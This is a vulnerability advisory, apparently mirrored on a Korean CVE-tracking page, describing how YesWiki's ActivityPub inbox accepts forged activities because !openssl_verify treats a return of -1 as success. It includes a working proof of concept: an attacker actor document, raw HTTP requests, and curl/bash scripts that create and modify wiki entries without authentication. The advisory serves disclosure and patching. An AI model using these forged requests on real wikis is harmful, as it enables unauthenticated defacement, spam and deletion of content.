YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L상세 설명
Summary
HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:
| return | meaning | !return |
|---|---|---|
1 | signature is valid | false |
0 | signature is invalid | true ✓ |
-1 | the verify call itself failed (internal error) | false ❌ |
false | input rejected by PHP's argument validation | true ✓ |
The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.
The two practical paths to -1 we are aware of:
- DSA / EC public key with an RSA-only algorithm.
openssl_verify(..., $dsaKey, "RSA-SHA256")returnsint(-1)on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodifiedphp:8.3-apachelab and against any deployment using the runtime stack YesWiki's own docker image ships. - Older PHP + older OpenSSL where any unrecognised digest name returned
-1rather thanfalse. The reporting research mentions this path; on current stacksfalseis returned instead and the throw fires correctly. The DSA path replaces it.
The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 130
1// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD) 2public function verifySignature(Request $request) { 3 ... // [Signature parse, 4 // outbound key fetch — see the SSRF advisory] 5 $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']); 6 ... 7 if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK 8 join("\n", $sigParts), 9 base64_decode($sigConf['signature']),10 $actorPublicKey,11 strtoupper($sigConf['algorithm'])12 )) {13 throw new Exception('Signature verification failed'); // (b) skipped when openssl_verify == -114 }15 16 if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {17 throw new Exception('Digest mismatch'); // (c) still enforced — easy to satisfy18 }19}The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.
End-to-end attack chain
A single unauthenticated POST per operation. No session, no CSRF, no real signature.
-
Stand up an actor document that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:
text1{2 "id": "<exact URL the server will GET>",3 "publicKey": {4 "id": "<same URL>",5 "publicKeyPem": "<DSA public key in PEM form>"6 }7} -
Send a Create / Update / Delete activity to
POST /api/forms/{enabled-form-id}/actor/inbox:http1POST /?api/forms/2/actor/inbox HTTP/1.12Host: target.example3Content-Type: application/activity+json4Date: <RFC1123 date>5Digest: SHA-256=<base64(sha256(body))>6Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="78{"@context":"https://www.w3.org/ns/activitystreams","type":"Create",9 "actor":"<actor URL>",10 "object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}} -
YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls
openssl_get_publickey(...)which returns a valid OpenSSL key handle (DSA is parsed successfully), then callsopenssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns-1. The check!openssl_verify(...)evaluates tofalseand the throw is skipped. -
Digestheader is enforced, but it's a simpleSHA-256=of the body the attacker chose, so satisfying it costs onesha256sum. -
processActivity($activity, $form)runs: Create →EntryManager::create(), Update →EntryManager::update(), Delete →EntryManager::delete(). The triple store records the attacker'sobject.idas the source URL, which is how Update / Delete locate the entry on subsequent calls.
PoC
Pre Reqs
- Yeswiki v4.6.5 lab image (Setup via podman)
- ActivityPub enabled on the target form
For the rest of this document:
1BASE="http://localhost:8085" 2CTR="yeswiki-poc" 3KEYID="http://127.0.0.1:9999/actors/attacker" 4FORM_ID=2 5MARKER="DEMO_$(date +%s)"PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.
1podman exec "$CTR" php -r ' 2 $pem = file_get_contents("/tmp/attacker_keys/dsa.pub"); 3 $key = openssl_get_publickey($pem); 4 $r = openssl_verify("hello", "junk", $key, "RSA-SHA256"); 5 echo "openssl_verify returned: " . var_export($r, true) . "\n"; 6 echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n"; 7'Expected output:
1openssl_verify returned: -1 2!openssl_verify(...) is: falseVerify the listener is up and serving the DSA-key actor
1podman exec "$CTR" cat /tmp/ssrf_listener.pid 2podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat= 3podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echoExpected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).
Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):
1ACTIVITY='{ 2 "@context": "https://www.w3.org/ns/activitystreams", 3 "type": "Create", 4 "id": "http://127.0.0.1:9999/activity/c-'"$MARKER"'", 5 "actor":"'"$KEYID"'", 6 "object": { 7 "id": "http://127.0.0.1:9999/objects/'"$MARKER"'", 8 "type": "Event", 9 "name": "'"$MARKER"' — created via the signature-verification bypass",10 "content": "openssl_verify returned -1; YesWiki accepted us anyway",11 "startTime": "2026-12-01T10:00:00Z",12 "endTime": "2026-12-01T12:00:00Z"13 }14}'15 16# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced17DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"18DATE="$(date -uR | sed 's/+0000/GMT/')"19SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'20 21curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \22 -H "Content-Type: application/activity+json" \23 -H "Date: ${DATE}" \24 -H "Digest: ${DIGEST}" \25 -H "Signature: ${SIG}" \26 --data-raw "$ACTIVITY" \27 -w '\n HTTP %{http_code}\n'Now, try udating the entry via the same bypass
The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.
1UPDATE_ACT='{ 2 "@context": "https://www.w3.org/ns/activitystreams", 3 "type": "Update", 4 "id": "http://127.0.0.1:9999/activity/u-'"$MARKER"'", 5 "actor":"'"$KEYID"'", 6 "object": { 7 "id": "http://127.0.0.1:9999/objects/'"$MARKER"'", 8 "type": "Event", 9 "name": "'"$MARKER"'_UPDATED — title was changed by an unauthenticated POST",10 "content": "this row was modified via the SAME bypass",11 "startTime": "2026-12-01T10:00:00Z",12 "endTime": "2026-12-01T12:00:00Z"13 }14}'15DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"16DATE="$(date -uR | sed 's/+0000/GMT/')"17 18curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \19 -H "Content-Type: application/activity+json" \20 -H "Date: ${DATE}" \21 -H "Digest: ${DIGEST}" \22 -H "Signature: ${SIG}" \23 --data-raw "$UPDATE_ACT" \24 -w ' HTTP %{http_code}\n'Expected output: HTTP 200, empty body.
Impact
CRUD on bazar entries of any ActivityPub-enabled form, without authentication:
- Create -
EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row inyeswiki_pagesand a triple<tag, sourceUrl, $object['id']>inyeswiki_triples. - Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
- Delete - same lookup, then
EntryManager::delete($tag, true).
Concrete operational impact:
- Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
- Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
- Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its
object.iddiscovered, and then deleted by replaying the chain withtype=Delete. - Triple-store pollution - the
yeswiki_triplestable grows with attacker-controlledsourceUrltriples that survive entry deletion and can interfere with later federation flows. - Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.